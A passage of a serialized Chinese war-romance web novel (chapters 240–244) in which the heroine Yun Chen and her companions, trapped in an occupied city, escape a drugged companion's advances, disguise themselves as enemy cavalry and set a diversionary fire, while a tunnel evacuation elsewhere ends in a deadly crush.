“云琛……云琛……”他口齿不清地叫着,发出的声音不小。
她吓得赶紧捂住他的嘴,“你疯了?小点声!外面全是黑鳞骑兵!”
他却好似失了神智一般,完全不管不顾周遭一切,就势吻住她的手,顺着胳膊就朝她脸颊吻去。
她大惊失色,赶忙挣扎。
可四肢都被颜十九压得牢,她根本动弹不得。
偏偏她越挣扎,他好似越难耐,直接一把将她两只手腕攥住,压在头顶上方,另一只手猛地扯开她的腰带,径直伸进她衣服里。
“颜十九!你疯了!”她抬腿狠踹,他虽失去理智,但动手抵挡的本能还在,不仅灵敏地躲过她一脚,更是用两个膝盖死死压住她两边大腿,疼得她差点叫出声。
她一下想到方才给颜十九上药的时候,他最后一处腰伤用的是一瓶新药,估计是颜十九没看清楚,错拿成别的什么了!
在青楼这种地方,媚药情粉比白馒头还常见。
虽然已猜到颜十九是中了药粉才如此,但云琛还是慌了。
因为她的腰带和上衣已被全部扯散,他的手就那么没有任何阻挡地、滚烫地贴在她腰间。
他低头去吻她,却因她拼命躲闪,怎么也吻不到唇,只能一口落在她脖子上。
他干脆埋头在她颈间,胡乱亲吻啃噬起来,像一只终于吃到美味猎物的恶狼,发出贪婪又羞耻的闷哼。
“颜十九!放开我!你清醒一点!”看着窗外再次逐渐靠近的巡防火把,她不敢大喊,也不敢大力挣扎,只能硬生生停止反抗,等着巡防火把逐渐走远。
只这么堪堪不过一瞬息的时间,他已将她颈间吻得绯红淤紫一大片,手中更将她的束胸扯开来。
这辈子从来没有在任何一个男人面前这样赤身裸体过,连对霍乾念都没有解开过这最后一层矜持。
她感觉到胸口一空,一凉,彻底急了,直接狠狠一口咬在他肩膀,阻止了他继续的动作。
趁他吃痛吸气的间隙,她猛抬头,咚地一下撞在他脸上,立马打得他鼻血横流,后退两步,人也瞬间清醒了不少。
她赶紧翻身爬起,飞快将束胸系好,套好外衫,将腰带打了个死结。
颜十九捂着鼻子跌坐在地上,理智已经回来,但仍没有彻底清醒。
云琛又羞又恼,简直气得头上冒烟,可碍于外面就是巡防队,她不能发出大动静揍人,只能拽过盐水桶,一把将颜十九连头带手,整个狠狠摁进桶中。
喝了几大口咸水,手腕钻心地蛰痛,颜十九终于彻底回神,挣扎着从水桶里抬起头,刚想开口说话,却被云琛用一大团臭布恶狠狠地塞住,一个字也喊不出来。
“颜十九!你再敢碰我一下!我一定叫你断子绝孙!!”
第240章 过命的交情
一个吃错药的颜十九,远比一个神经病的颜十九还要可怕。
相比之下,云琛甚至觉得神经病的颜十九还挺可爱的,虽然神神叨叨,一天到晚没个正形,但好歹是个知礼不轻薄的正人君子!
云琛用水将脖子擦了八十遍,差点将皮都擦破。
颜十九那厮却好似药效已过,又被盐水“伺候”的疲累,鼻子里还塞着两团止血的棉花呢,人已经四仰八叉地倒在榻上,睡得没心没肺。
云琛气得要死,又不能发作,一点睡意都没有,只能瞪着眼睛等天亮,心想等离开固英城,她怎么也得将颜十九好好揍一顿才解气。
虽然事出突然,全是因为上错药的原因,不是任何人的本意,但亲也亲了,摸了摸了,云琛心里头觉得对不住霍乾念,烦闷得很,干脆离开厢房,在空荡荡的青楼里四处走走。
她想去三楼最高处瞧瞧,试试能不能俯瞰到城中其他地方,琢磨一下逃离路线。
一上楼,却见万宸已经在那里了。
“万宸,你知道我是女子吧?”云琛走过去,万宸立刻后退两步,和平时一样避嫌地拉开与她的距离。
“知道。”万宸回答。
她佯怒:“那刚才你主子欺负我的时候你在哪里?怎么不来帮忙?装听不到吗?”
“恩。”
“你挺惜字如金啊万宸?还好意思‘恩’?装作听不见小小女子的求救,你不觉得羞愧嘛?”
“不觉得。”万宸上下看了云琛的铠甲一眼,那是她为了防止颜十九再发疯,赶忙又穿上的。
万宸是个寡言的人,正经到几乎无趣。
他虽然没有多说,但那眼神仿佛在说:“就你?女子?还小小?你打我主子的时候我主子都不敢吭气?我有几条命管你?”
见和万宸开不起来玩笑,怎么都说不热络,云琛耸耸肩,感觉讨了个没趣。
留意到万宸手腕上胡乱涂抹和包扎的伤口,她伸手向他手腕:
“你给自己包扎得也太敷衍了,我帮你重新包扎一下吧。”
结果她手指刚碰到万宸手腕,后者就好似被火弹打了一般,倏地原地弹开,恨不得和她隔上百八十丈远。
她只能尴尬地将手收回来,“好好好,我不碰你行了吧?搞得跟我欺负你似的。”
万宸不说话,只是默默地将手腕处的包扎解开,重新裹好,用牙齿辅助着再次系牢。
看着万宸的动作,再打量他因为做暗卫,本来就瘦,如今更瘦的骷髅一样的身体,云琛忍不住问:
“从黑鳞骑兵攻破固英城以后,你们就一直被关在死牢里吗?这半年一直是?”
万宸点点头,云琛又问:
“焦左泰总是折磨你们吗?”
“一开始是他,后来就不是了,他将拷问我们的任务安排给了别人。”万宸说。
因为后来的焦左泰,在忙着带黑鳞骑兵一路打向烟城。
“你在怀疑什么?”万宸突然问。
“没有,我只是有些不懂。”在给颜十九上药的时候,云琛就发现了,那许多伤口根本不是打斗造成的,而是单方面酷刑导致,她问:
“焦左泰他们为什么要一直折磨你们?”
犹豫了一下,望了眼二楼颜十九所在的方向,万宸道:
“因为你。”
“我?”云琛惊讶,“我不过一个新上任的少将而已,为什么要因为我折磨你们半年之久,还严刑拷打?”
万宸沉默了,像是在考虑该不该说。
云琛自然看出他的顾虑,“但说无妨,我一个字都不会跟颜十九说,我保证。”
“我信你。”万宸说,“两军交战,主帅为重。狮威军很厉害,黑鳞骑兵也很厉害。但再威猛的将士也需要好将带领,黑鳞骑兵要想赢,必须要打败霍乾念。”
这一点,万宸说得没错。
就如一个王朝需得一名好皇帝统治才能兴盛,一方军队也需优异的将领才能够无往不胜。
群龙需得有首,战场厮杀往往都是主帅在看不见的棋盘上争锋。
因此古往今来,针对敌方主帅进行的刺杀行动屡见不鲜。
霍乾念无疑是天下少有的将帅之才。
无论从兵法智谋,还是德行才干,他都是鲜有的良将。
云琛认可这一点,万宸继续道:
“我不知焦左泰如何得知,亦或是在战场与你们对战时看出来,总之,他很清楚,你是霍乾念的软肋。”
这下云琛彻底明白了。
黑鳞骑兵要想打败狮威军,在楠国大地上横行杀戮,就必须要打败主将霍乾念。
而要想打败霍乾念,就必须要盯准他唯一的弱点——云琛。
像是不愿回忆这半年的痛苦折磨,万宸低声道:
“焦左泰想要从主子嘴里知道,‘云琛的弱点’是什么,他想要活捉你,他对你很感兴趣。”
为了从颜十九嘴里知道关于云琛的信息,焦左泰几乎将能想到的酷刑,通通在颜十九身上用了一遍。
原来这才是颜十九伤痕累累的原因,那些烙铁、杖刑……甚至深可见骨的锥刺,全因他咬紧牙关,一字不肯说。
云琛怔在原地,半天说不出话来。
那么吊儿郎当的颜十九,那么爱呼疼喊痛捉弄人的家伙,偏偏为了她,能生出比任何人都决绝坚韧的气性。
甚至当着她的面,他连一个字都没有提过。
曾经她还是霍帮护卫时,送她烫伤药的时候,他要邀功;为她买蜂蜜牛乳酪的时候,他巴巴地炫耀。
可性命受到威胁,整个人都被折磨得体无完肤的时候,他却偏生咽在肚子里,好叫她不难受,不愧疚。
她不敢想象,若颜十九真的就这样受尽折磨死了……
带着对她的守护永远长眠,永远也不会有人知道这傻子的付出……
云琛感觉心头堵得很,想要开口说话,声音却有点发涩,带着由不得她自己控制的颤音:
“我竟不知他……”
“你不必想太多。”未等云琛说完,万宸便出言打断,接着他下一句话,瞬间叫云琛心中所有愧疚和感动达到了巅峰。
万宸说:“主子说了,若换做是你,也一定如他一样。你们本就是一样的情意。他说幸好,受罪的是他。”
幸好,那诸多折磨由他受了。
他不必骄傲邀功,因为他知道,若位置调换,云琛也一定如他一般,同样愿为他赴汤蹈火。
他早在心里认定她的心,那份信任、肯定,远远比求一声“谢谢”更有力。
无暇细想万宸口中颜十九的“情意”,是否和她心中的“情意”一样,云琛眼眶发潮,久久不能从情绪中出来。
对万宸说了句“你好生休息”,云琛脚步迟缓地离去。
她走回二楼厢房,颜十九仍然死狗一样睡在榻上,四肢呈“大”字型摊开,看着很好笑。
她轻轻走过去,在床头伫立良久。
颜十九的肩背比一般男子更宽阔些,骨头架子也更宽大。
可这么魁梧的身材,偏生配了一张矛盾的娃娃脸,浓眉高鼻,星眼炯炯,让人不知该说他帅气好,还是可爱更恰当。
从前她总是笑话他狗熊身子小孩脸,如今“小孩脸”已瘦得颧骨变高,两颊瘦削,下颌也变得像“大人”一样锋利。
为他上药的时候,云琛蒙着眼睛,没有看见他身上如何。
但其实她手下感觉得很清楚,他真的瘦得只剩一把骨头。
望着颜十九熟睡的脸庞,云琛鼻子发酸,眼眶渐渐湿润。
“颜十九,谢谢你,我很感动……很荣幸,此生能有你这个朋友。这过命的交情和义气,我一定同样予你!”
第241章 不是天灾,而是人祸
固英城里,云琛忙着为颜十九伟大的“友情”感动不已;
固英城外,夜月万里无云,月光照得前路澄澈如清河。
城外二十里,掩藏在密林中的地道出口陆续打开。
在地下赶了整整一夜路程的百姓们接连爬出来,坐上狮威军接应的马车,驶向最近的江宁城去安置。
令接应的士官和将士们感到奇怪的是,荣江和荣易所负责的两条地道已完成人数清点;西南线地道的责任将领云琛虽未露面,但手下的将士们也已带着百姓们陆续出来。
唯独西线的地道口,迟迟不见任何动静。
知罗和罗东东没有出来,一干将士和所营救的百姓们也没有影子。
没有一个人出来。
探身往地道口听去,甚至连一点朝这边赶路的声音都没有。
接应的士官和将士们感觉不妙,赶忙将此事禀报刚刚从固英城门外撤军回营的霍乾念。
事关数千百姓性命,霍乾念不敢大意,立刻亲自快马赶来。
西线地道口,霍乾念与众人等了又等。
在等待的间隙,霍乾念不停问向一旁的士官:“西南线如何,云将军出来了吗?”
士官回答:“九千多名百姓都出来了,派去的引路将士也全平安回归,但是还没有见到云将军,接应的将士们还守在地道口,在等。”
霍乾念心里突然有些乱。
不,准确地说,是从云琛燃放过烟火信号以后,他的心就莫名七上八下,一直没个安定的时候。
他总觉得哪哪都不对劲。
那支最高的烟火信号在云琛身上,既已放出,就代表任务完成,她在平安撤退。
以云琛的习惯,必然是最后一个殿后收尾。
但眼下西南线的所有百姓都已出来,她就算动作再慢,也该出来了。
难不成受伤了?走得慢?
再或者……
霍乾念不敢去猜第二种情况:
云琛会不会仍然困在固英城?
他考虑是否将眼前事务安排给下级,自己赶往西南线地道口去迎一迎云琛。
“将军,您刚从战场下来,身上的伤都还没处理呢,要不先换了常服,叫军医处理一下伤口?”一旁的士官建议。
“不用。”霍乾念只拿帕子擦擦脸,“再去问一下,云将军出来了没有。”
停顿了一下,纵使不愿意,霍乾念还是吩咐:
“从斥候里挑二十个高手,再去固英城查探一番。”
士官刚得令要离去,那边守在地道口的几个接应将士突然高兴叫道:
“出来了!有人出来了!终于出来了!”
霍乾念精神一振,没有事务牵绊,他立刻就准备往西南线赶去,几个接应将士颤抖的声音却拦住了他的步伐:
“你……你……你怎么浑身都是血??”
霍乾念循声看去,只见地道里钻出来的引路将士们,明明身上没有伤口,却浑身上下都是血,看起来像是从血海里爬出来的一样。
和其他地道口,老百姓们欢天喜地走出来不同。
这条地道走出来的人们,一个个都惊恐战栗,像是遭受了什么巨大惊吓,连话都说不完整。
霍乾念觉得情况不太对劲,他放眼望去,一、二、三……七、八……十……
按照计划,这条地道最少营救六千人,怎么走出来的人寥寥无几,只有不到百人。
不少人甚至刚一走出地道就瘫软在地上,还有的直接两眼一翻,晕死了过去。
霍乾念等人都被这情况搞懵了。
直到看见浑身是血的知罗踉跄着走出来,她的身后再无一人,众人才意识到情况的严重性。
霍乾念眉头紧锁,紧盯着缓缓走来的知罗:
“罗营长呢?其他人呢?老百姓都在哪里?”
知罗缓缓跪下,根本不敢看任何人。她双目落泪,气若游丝:
“都……死了……”
在场众人无不震惊哗然,简直不敢相信自己的耳朵。
听到知罗嘴里说出“死了”这两个字,一个才从地道口走出来的引路将士,竟直接跪在地上,开始疯了一样嘶声哭吼。
几个接应的将士赶紧冲上去制止,最后硬是将那人打晕了才停下。
见知罗失了魂一般,地道里出来的人也都好像三魂去了七魄,说不出一句完整话,霍乾念立刻命一个脚程快的斥候下地道查看。
等那斥候出来的时候,也是一身一脸的血,人看着理智尚在,但面色已惨白如纸。
那斥候上前跪下,开口先落下眼泪:
“启禀将军,属下入地道察看,见到......见到地道狭窄处,百姓们拥挤堵塞皆不能出,男女老少互相踩踏……俱已身亡......”
听了斥候的话,所有人目瞪口呆,惧得不能言语。
就连见惯血腥杀戮的霍乾念都愣住了,抱着最后一丝希望,他问:
“罗营长他们呢,一个活人都没有了吗?”
斥候看了知罗一眼,不忍心地说道:
“禀将军,属下在地道中见到将士们从......从人堆里挖出的通道,应该是为了营救后面的人。属下沿着通道往里爬了一段距离,见拥挤堵塞的路段之后,后面的人......都窒息而亡了。”
众人废了好大的劲,才反应过来什么叫“从人堆里挖出的通道”,再去看知罗和其他地道里出来的人,终于明白他们为什么都是一身的血。
人群踩踏挤压,将地道堵得没有一丝缝隙。
为了后面队伍的人不窒息而死,知罗下令从已挤压身亡的人堆里,硬生生挖出一条路。
将士们砍下的每一刀,都是他们用命救下的老百姓。
有孱弱的姑娘,有稚嫩的孩童,全都不甘地睁着眼,尸首流着血泪,令人不忍去看。
将士们只能闭上眼睛,在“人墙”中不停地开挖。
只可惜终于挖通“人墙”时,后方的人也几乎全部窒息身亡。
只有几十个幸存者,挣扎着从“人墙”爬过,活了下来。
古往今来从未有过这种惨案,简直闻所未闻,令人胆裂魂飞。
没人敢去想那地道里该有多惨,有多少老弱妇孺在其中。
明明是为了营救百姓们的行动,如今,救人的却成了索命手。
数千老百姓,最后只活了不到百人。
这是足以直达天听的重大事故,足够东宫震怒,在狮威军的历史上永远记下沉痛的一笔。
霍乾念久久无法从震惊中回过神,他努力保持住一个临危不乱的将军模样,心中却几乎要泣血。
那可都是楠国的百姓啊,是连年遭受战火,却依然守着边境重城的固英城老百姓啊......
还有一同为救人而去的将士们,也几乎都死在这场人间惨剧。
盯着面前沉默而跪的知罗,霍乾念嗓音嘶哑,问她:
“营救行动开始之前,在大帐的机要密会上,已设想过拥堵的情况,一旦有人摔倒或卡住,地道中隔丈引路的将士们必须立刻将人扶起,其他将士立刻拦停后面的队列,让队伍中人人前后都保持间隔,怎会如此?”
霍乾念话音落下,知罗没有立刻作答,像是反应了好一会才能理解他的问题。
知罗道:“隔丈引路的将士相隔十丈,距离太远,来不及反应,而且队伍乱起来的时候,听不到彼此说话,所以……”
“你再说一遍?!”霍乾念狠狠打断知罗的话,再也维持不住面容,厉声质问:
“什么叫‘相隔十丈’?”
似乎预感到什么要命的结果,知罗愣愣望着霍乾念:
“我编制的计划中就是这么定的,每隔十丈设一名将士引路并疏导人群,不是吗?”
听了这话,霍乾念近乎要将牙齿咬碎,不知是因为悲伤还是愤怒,他的眼睛充斥着血红,恨道:
“机要密会时已定!相隔十丈易生变故!而改为每三丈设一人!!”
知罗瞪大眼睛,“将军!机要密会上您没有说要改为三丈设一人!属下真的没有听到!”
霍乾念无奈又悲愤,闭上眼睛,不愿再说一个字。
知罗跌坐在地上,半天才回过神,终于明白:
原来竟不是意外,而是人祸吗……
那般要紧的机要密会上,霍乾念明明预设了危险,下令修改为每三丈设一人。
所有人都听到了,执行了,安全营救出百姓,没有生任何乱子。
偏偏她知罗没有听到……
因为那个时候,她正在走神,满脑子想的都是她的少年将军……
知罗呆呆地望着地道口,心中升起前所未有的恐惧和绝望。
正在这时,去固英城打探消息的斥候飞速回来,呈上一个更令人忧心如焚的消息:
云琛……大约困在固英城——
困在二十万黑鳞骑兵的中央了。
第242章 成精的白猪
怎么从二十万敌军的重重包围中逃出去?
这事儿没有标准答案。
毕竟古往今来也没有几个这么悲催的倒霉蛋。
如今的固英城,城内已没有老百姓,里三层外三层全是黑鳞骑兵。
五万骑兵与马一同留在营地,另外十五万人住进了城里头。
民宅成了士兵们睡觉的大房,商铺成了用餐的公厨,许多酒楼大厅都铺着通铺,睡满了人,黑压压如鼠群一般。
知道云琛必然还在城中,死牢里的颜十九和万宸不见了,也必定是被云琛所救。
焦左泰命黑鳞骑兵每日八个班次,日夜不停在城中反复搜查。
云琛三人躲躲藏藏,从青楼换到地窖,又从地窖换到鸡窝、茅厕......能躲的地方全部躲了个遍。
想要从这样严密布防、十五万人的眼皮子底下逃出去,简直难如登天。
云琛三人凑在一起,苦思冥想许久,想不到办法。
万宸道:“要不还是调虎离山吧,我故意露出踪迹,吸引黑鳞骑兵追击,主子和云将军快速从反方向撤离。”
云琛拍拍万宸肩膀,“万宸,我很欣赏你英勇就义的精神,但是十五万人呐,动起来可不容易,喊一嗓子‘吃饭’,饭馊了,人都到不齐。你想一个人就能引得城里所有黑鳞骑兵都发现你、去追你,那得多大吸引力?”
颜十九接话:“那起码得比天下第一的花魁还漂亮——而且还得不穿衣服才行。”
念着颜十九为自己受的折磨,云琛忍着没有给他脑袋上来一下,只道:
“我看你是一点都不急,这才一日功夫,就巡查这么严,只怕咱们混不了几天,很快会被发现。赶紧想法子!”
颜十九作出凝重的表情,“小云云言之有理,要不咱假意投降吧?先加入黑鳞骑兵,然后再反水?”
云琛差点被气笑,“你当焦左泰是傻的?你说投降人家就信?你信不信咱仨只要往那一站,死牢的大门就会朝我们热情地敞开并说一句‘您好欢迎再次光临’??”
“那要不我们直接去杀焦左泰吧?杀了他,黑鳞骑兵定然大乱,我们就可以趁乱跑了,怎么样?”颜十九再次提议。
“怎么去杀?走过去还是飞过去?你当十五万人看不见我们啊?颜十九,我觉得你这个拂晓将军真的好有水分。”云琛忍着手心发痒,“你该不会是买来的官吧?”
颜十九故意放低声音:“嘘——小点声,八万两买的!”
终究还是忍不住,云琛狠狠给了颜十九一拳,后者终于舒坦了。
不过颜十九的话倒是给了云琛一点灵感。
十五万人在固英城中搜查,的确严密,但也有一个很大的弊端,那就是同僚之间大多互不认识。
云琛作为狮威军的少将,连自己手下的兵都认不全,更何况十五万人之间。
她琢磨了一下,也许可以利用这个漏洞逃出去。
与颜十九和万宸商议片刻,三人定下一个冒险的计策。
两个时辰之后,天色黑透。
黑鳞骑兵的一组四人巡防队,照例完成入夜点名,开始往既定的一处猪圈搜查。
四个人举着两支火把,在猪圈里里外外翻看,将所有能藏匿人的地方都拿刀戳一番才作罢。
检查到猪圈大棚的时候,看着里面没剩几只的哼哼叫的脏猪,满院子都是臭气熏天的大粪,四个人都不太愿意往里走,只隔着栅栏将火把伸进去,想着看一眼就行。
谁知两支火把刚一伸出去,就有一股妖风袭来,猛地将火把扑灭。
鬼吹灯?
啊呸,谁吹的火把?
借着火把熄灭的瞬间,四人看见三头成了精的“白猪”弹跳起,直直朝自己冲来。
那四人中的三人,还没来得及做出任何反应,就感觉脖颈一凉一热,立马去见阎王了。
第四个人倒是有时间反应,只可惜他刚张开嘴想大喊,就被一坨干硬的猪粪塞了满嘴,噎得根本发不出声音。
感觉到好几只手固着自己,第四人拼命挣扎,试图吐出嘴里的猪粪,却听耳边有两个声音压低了嗓子在说话,好像是在......吵架?
“别抢!这个给我!”
“我来!我下刀利索!”
“小心点!别把血搞身上了!不好洗!”<
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br>“还是我来吧!”
要不还是我自己来吧,我咬舌自尽行不?第四人刚在心里说完这句话,就被颜十九一刀结果了性命。
快速脱下身上又是猪粪又是血污的衣服,云琛三人迅速换上黑鳞骑兵的铠甲和头盔,重新燃起火把。
看着地上四具尸首,三人对视一眼。
不消片刻,四个黑鳞骑兵全部变成了黑鱼米夕??骑兵,成了猪儿们的夜宵。
只怕黑鳞骑兵自己都想不到,他们也会有成为猪食的一天。
瞧同样的时间,万宸一个人可以处理两具尸首,且手法极其利落,云琛忍不住夸赞:
“万宸,你手法好熟练!”
云琛满脑子想的都是赶紧混进城里的黑鳞骑兵队伍,所有神经都紧绷在“逃生”这件事上,并未注意到当她那句话说完,万宸明显沉默了一下。
“万宸,云将军夸你呢!”颜十九笑着说。
昏暗中,万宸道:“多谢云将军夸奖,这是我做暗卫的本分。”
三人乔装完毕,收拾妥当之后,大摇大摆地往外走,开始在重重黑鳞骑兵中行走穿梭,与无数黑鳞骑兵们肩挨着肩,脸贴着脸而过。
没人特别注意到他们,即使面对面过去,对方也不过点下头,算是打招呼。
云琛三人同样点头示意,心却咚咚直跳,手心后背全是冷汗。
很快,云琛发现不太对劲。
为了分小股灵活机动,黑鳞骑兵将人分组编制,每组巡防队最少四人,最多八人,易于指挥。
可云琛他们只有三个人,少了一个。
再这样下去,一定会引起注意。
不知道是不是错觉,云琛已经感觉有许多眼睛在朝他们打量。
假装咳嗽,云琛贴近颜十九,低声又快速地说了句:
“糟了!我们少一个!”
颜十九不动声色,以摸鼻子做掩饰,同样飞快又低沉地回道:
“糟了!多一个!”
云琛气得想骂娘,没想到这么紧急的情况下,颜十九还有心思扯玩笑!
这时候,走在最前面的万宸也低声叫道:
“多一个!多一个!”
第243章 全军出动
顺着颜十九和万宸的眼神看去,云琛见到迎面走来一队黑鳞骑兵。
和云琛他们一样,对面也是支小组,举着两支火把,但队中有五人,多了一个。
云琛疑惑地看过去,对方也同样疑惑地打量他们。
两支队伍逐渐交汇靠近,火把渐渐照清彼此的脸。
就在双方打照面的一瞬间,云琛惊讶得瞪大眼睛,差点脱口喊一声“罗东东??”
罗东东显然也做梦都想不到这么惊悚的“巧遇”,表情也跟见了鬼似的,差点大叫出来。
但紧接着,罗东东五人又禁不住呲牙想乐。
能在这个时候、这个境地遇见“云老虎”,那真是比啥都让人安心!
来不及细琢磨,云琛赶紧挤眉弄眼,罗东东立刻心领神会。
两支队伍瞬间交错融合,形成了一支八人的新队伍。
看起来和周围其他的黑鳞骑兵巡防队没有区别了。
一切都发生的太快,不过眨眼之间,完全没有引起任何一个黑鳞骑兵的注意。
队伍变长,彼此说话就安全了些。
颜十九问:“小云云,这谁?你熟人?”
云琛答了句“恩!都是狮威军的!我的兵!”然后压低嗓子问罗东东:
“你们什么情况?不是进地道走了吗?怎么出现在这?”
罗东东脸色一僵,强抑住心中情绪,不敢说他们从地道撤离时,前方突发拥挤堵塞,他们几人在队伍最末尾,为了不窒息而死,连忙又反向挖洞,逃了出来。
饶是反应那么快,动作那么迅速,最后也只活了五个人。
“没来得及撤,找羊圈窝了一天一夜!”罗东东隐约看到云琛三人手上有血,便知他们双方应该都是一样办法“混”成黑鳞骑兵的。
看着前方不见尽头的重重黑鳞骑兵,瞅准身旁无人的空档,罗东东问:
“老大,俺们就这样一直走?直接走出城门?不行吧,城门肯定有人把守的!”
“别着急,快了。”云琛话音刚落,就听不远处的黑鳞骑兵人群中传来骚动。
两个骑兵纵马而过,大喊着“着火了!卫队灭火!快!”从众人眼前疾驰而过。
罗东东知道,这用放火来调虎离山,必然是云琛三人的计划,是提前算准了起火和燃烧时间的。
只是罗东东有些担心,那火够大吗?可别他们走出去三步远呢,黑鳞骑兵一人一口吐沫就将火浇灭了。
知道罗东东在担心什么,云琛挑眉示意,罗东东便顺着方向看去。
只见一座三层高的小楼正冒着滚滚黑烟,从几十个不同位置往外疯窜火苗。
夏季本就天干物燥,加上云琛三人刻意布置了多个着火点,几乎是一眨眼的功夫,整座小楼就全部烧了起来,火光冲天,灼浪滚滚,煞为壮观。
这下子,所有黑鳞骑兵的注意力都被吸引了,离得近的去救火,离得远的看热闹,没人注意到黑暗阴影处,云琛八人正悄悄摸向城门口。
“老大!你真厉害!从哪儿找了那么多火油,能放这么大火?”罗东东忍不住有点兴奋。
云琛道:“这东西可比火油可高级耐烧。”
“是啥啊?快告诉俺!”
“青楼姑娘们梳头用的发油。”云琛说完,颜十九又补充了一句:
“还有润滑油,满楼到处都是,可好使了哎呦——”
最后一句话结束在云琛狠狠一巴掌里。
瞧着眼前的黑鳞骑兵越来越少,城门越来越靠近,众人终于真切地感觉到逃生有门,机会近在眼前,都有些精神振奋。
按云琛三人的原计划,那靠近护城河的城墙豁口处逃不得。
调虎离山虽管用,但焦左泰不蠢,一旦发现起火,立马就会派兵守死各个可能的出口,等着活捉云琛几人。
这时候,城门的正大门反而成了最容易忽视的地方。
按照常理来看,城门是硬攻都难攻下的地方,更别说偷偷翻越。
两扇足有两丈厚的沉重铁门一关,重重森严岗哨往城墙上一站,连只苍蝇飞过都费劲。
可一般人想不到,纵使这么坚固的城门,也有一个弱点。
那便是云琛和霍乾念曾经首次在固英城对战黑鳞骑兵时,城门被黑鳞骑兵破了个大洞。
当时焦左泰正是从那洞中穿过,对着固英城的守城军大杀特杀。
幸而后来颜十九率东炎救兵急急赶到,还修复了城门。
从那以后,这城门破洞就成了两军交战首先争夺之处。
那门是修了一次又一次,破了一次又一次。
最近的一次破城门,便是前两日,狮威军为营救城内百姓,而在城外发起冲锋时。
眼下刚过去两天时间,就算黑鳞骑兵有时间细细调了糯米汁子、烧了砖来堵,也无法干透,不会太牢固。
如果封堵用的是石块杂物,那便更好办了,搬开就是。
按云琛和颜十九的计划,先乔装成黑鳞骑兵靠近城门,而后寻机破坏封堵,兴许可以逃出生天。
只可惜计划永远不如变化。
人算永远不如天算。
等云琛八人终于险险赶到城门口,真站到城门前时,八人统统傻眼了。
只见城门已彻底修复。
用的还是最简单粗暴,也最有效的办法:
在豁口处用粗铁熔铸,将整个洞口网状堵死。
而且为了避免网状有漏洞,还是从多个不同角度倾斜叠加,一共熔铸了四五层。
远远看过去,城门就
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跟没坏过一样。
“**,这焦左泰还是个**建的好手??”云琛忍不住骂脏话。
八个人愣愣地站在城门口,一时间竟不知该往哪儿去。
索性周围的黑鳞骑兵全都一脸严肃地跑来跑去,不知道在瞎忙些什么,没人有功夫搭理他们。
不敢停在原地等着被人发现端倪,云琛等人当即决定撤退,先找个藏身之处再说。
八人赶紧转身欲走,却顿时心里咯噔一声——
只见不远处,焦左泰正全副武装,高扬**,一边大喝,一边策马朝八人迎面奔来。
他神情阴狠,浑身充满血色杀意。
他的身后,是蜂拥同行的无数黑鳞骑兵。
被发现了?
八人心中皆是一沉。
罗东东往地上啐了口吐沫,骂道:“小鬼点名来了。老大,咱下辈子见吧?”
云琛抽出刀,作好战斗姿势,“行!兄弟们!下辈子再聚!”
颜十九则靠过来,挡在云琛身前,一边抽刀,一边回头冲云琛眨了下眼睛,笑道:
“跟在我后面,离我近点儿,咱俩死一起,好投胎!”
这一次,云琛没有骂他,她发自内心地露出笑容,用力点头:
“颜十九,这辈子能认识你,真的很高兴!”
说话间,黑鳞骑兵已近在眼前,焦左泰的**已冲着八人高高扬起。
说不怕是假的,可老天爷没留时间让人恐惧。
云琛八人肩并着肩,扎开马步,齐齐扬臂抽刀。
“固英城万岁。”
不知是谁说了这么一句。
不求君主长生,只愿这边境古城万岁永安。
听着这么浮夸却又朴实的一句话,一瞬间,八人顿感胸中豪气万千,似有千军万马奔腾,霎时升起无边勇气。
“冲啊——”罗东东大喊,第一个冲了出去。
下一瞬,喊声戛然而止,罗东东整个人被一脚踹飞。
几十个黑鳞骑兵从两边冲上来,一边推搡八人,一边叫骂:
“快滚开!别挡着将军!!”
八人皆愣,眼睁睁看着焦左泰与无数黑鳞骑兵从眼皮子跟前飞窜过去。
与此同时,伴着令人心悸的沉重嗡鸣,城门被几十个黑鳞骑兵缓缓打开。
城门上传来一声又一声高喊:
“全军出动!敌军来袭!!!”
“全军出动!敌军来袭!!!”
紧接着,“轰隆”一声巨响。
两枚巨大的火油弹朝夜空炸开。
云琛八人朝城门望去,登时气息一滞,浑身俱麻。
耀眼火光之下,只见黑鳞骑兵慌忙整军列队,而他们的对面——
是已悄悄袭至城下,黑压压一片势如洪水、衔枚疾进的狮威军。
第244章 前朝僵尸
霍乾念说,他要去救一个人。
只救一个人。
不是万千老百姓,也不是尊贵的君主。
只是一个新上任的少将,一个三十万狮威军里,许多将士连面都没有见过的云琛。
军为国战,不为己私,不可儿戏。
没理由因为救一个人而发动全军大战,叫那么多将士赔上性命。
所以,霍乾念打定主意,他要一个人去。
因为他不只是狮威军的霍将军,更是云琛的阿念。
读了那么多圣贤书,他知道自己应当舍小我,为大我。
身处这样的高位,他应当万事以大局为重。
可是,他也是个有七情六欲的凡人啊......
若要他舍弃云琛,无异于生生剖割灵魂。
他想,自己大抵是没有做将军的天赋吧,那便不做了。
他相信离了他,狮威军还会在,楠国也还在,既不会天崩,也不会地裂。
可他的琛儿不能没有他。
那么坚强勇敢的她,那么善良纯净、忠直恩义......人人都叫她“云老虎”,说她无所畏惧,勇冠全军。
可他总是觉得,他的琛儿也是会怕的。
纵使不说,纵使由着她展翅高飞,他心底总还是心疼的。
只要一想到她如今孤身一人困在固英城,他便觉心如刀割。
他相信她的聪慧和本事,既盼着她逃出来,又荒诞地希望焦左泰已经搜城抓到她,不要对她动用任何刑法,只拿她来作要挟。
那么他便可以亲眼见到她安然无恙,无论焦左泰要挟的是什么,哪怕是他的性命,他通通都双手奉上。
他没有同任何人说,独自一人在帐中穿好铠甲,拿起隐月剑,将一干军中事务的后续安排写下,与向东宫告罪的辞书放在一起,留在砚台下面。
他准备趁夜色出发,可一掀开帐帘,却吓了一跳。
帐子外面满满当当站着狮威军的将士们,个个整齐穿戴铠甲,腰佩战刀,一副随时可以出发的模样。
荣江和荣易取下口中衔枚,朝霍乾念跪地行礼,一个字都不多说,只道:
“属下等愿随将军同去!”
霍乾念板起脸,“胡闹什么?谁允许你们擅自集结的?”
荣易好似已摸准霍乾念的脾性,面色郑重,却又带上两分“死猪不怕开水烫”的厚脸皮劲儿,笑道:
“霍将军恕罪,我们老大不见了,得去找一找——您瞧,我们口中衔枚,行军无声,连您在帐中都没发现,我们一定能悄悄摸到固英城下,袭他们一个措手不及!”
荣易说完,队列里有人喊了一嗓子:
“就是啊!老大不见了,得找啊!要换我们丢了,老大也一定去找的!”
“就是!霍将军耍赖,怎么打算偷偷一个人去救人?跟我们抢功哇?”
“一声不吭就要走?咱们狮威军好不容易得了两位好将军带领,这就要抛弃我们?我不干!”
